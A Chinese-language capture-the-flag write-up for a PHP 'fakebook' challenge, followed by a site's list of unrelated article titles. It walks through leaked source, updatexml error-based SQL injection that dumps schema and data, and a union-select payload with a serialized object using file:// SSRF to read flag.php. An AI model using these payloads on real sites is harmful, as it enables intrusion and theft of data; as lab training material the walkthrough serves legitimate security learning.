0x01

查看robots.txt

发现user.php.bak文件

得到源码

<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = ""; public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
} function get($url)
{
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch); return $output;
} public function getBlogContents ()
{
return $this->get($this->blog);
} public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
} }

0x02

注册用户,成功

测试get方式注入

?no=1 and 1=1
?no=1 and 1=2

存在数字型,GET注入

updexml()报错注入,得到fakebook数据库

?no=1 or updatexml(1,concat("~",(database())),1)#

爆表名,得到users

?no=1 or updatexml(1,concat("~",(select group_concat(table_name)from information_schema.tables where table_schema="fakebook")),1)#

爆列名,得到no,username,password,data

?no=1 or updatexml(1,concat("~",(select group_concat(column_name)from information_schema.columns where table_name="users" and table_schema="fakebook")),1)#

爆数据,得到O:8:"UserInfo":3:{s:4:"name";s:

?no=1 or updatexml(1,concat("~",(select group_concat(data)from users)),1)#

通过反序列化传参

构造payload

?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

得到flag

参考链接:

https://blog.csdn.net/qq_42196196/article/details/81952174

https://blog.csdn.net/mochu7777777/article/details/104868401

最新文章

  1. Oracle10g 表分区
  2. Transmission : 如何在Fedora下使用BT下载
  3. 错误描述:请求“System.Data.SqlClient.SqlClientPermission, System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089”类型的权限已失败
  4. MONGODB 与sql聚合操作对应图
  5. ActiveReports 报表应用教程 (9)---交互式报表之动态排序
  6. JS面向对象组件(四) -- 面向对象的继承
  7. [luogu 1880]石子合并
  8. CentOS 搭建 FastDFS-5.0.5集群
  9. 强联通 HDU 1269
  10. 关于preg_match()函数的一点小说明
  11. 查看Samba用户的方法
  12. Window下Jenkins的安装
  13. jQuery(七)、效果和动画
  14. python 枚举Enum
  15. table切换jquery插件 jQuery插件写法模板 流程
  16. crawlspider
  17. mysql存储程序
  18. 较老版本 AFNetworking 使用心得
  19. 监听视图树 ViewTreeObserver 获取View的宽高
  20. xampp默认项目文件夹htdocs

热门文章

  1. [php]微信测试号调取acces_token,自定义菜单以及被动响应消息
  2. 随笔之——伪类选择器:nth-child(n) 与 nth-of-type(n)的区别!!!
  3. Libra白皮书解读
  4. c语言-----劫持自己02
  5. 【linux题目】第二关
  6. javascript SDK开发之webpack中eslint的配置
  7. VR全景视图 Google VrPanoramaView
  8. GitHub 被指审查内容,著名“换脸”开源项目 deepfake 遭限制访问
  9. Linux监听磁盘使用情况
  10. 安装XCode7.1后,QT5.5出现的各种问题解决方案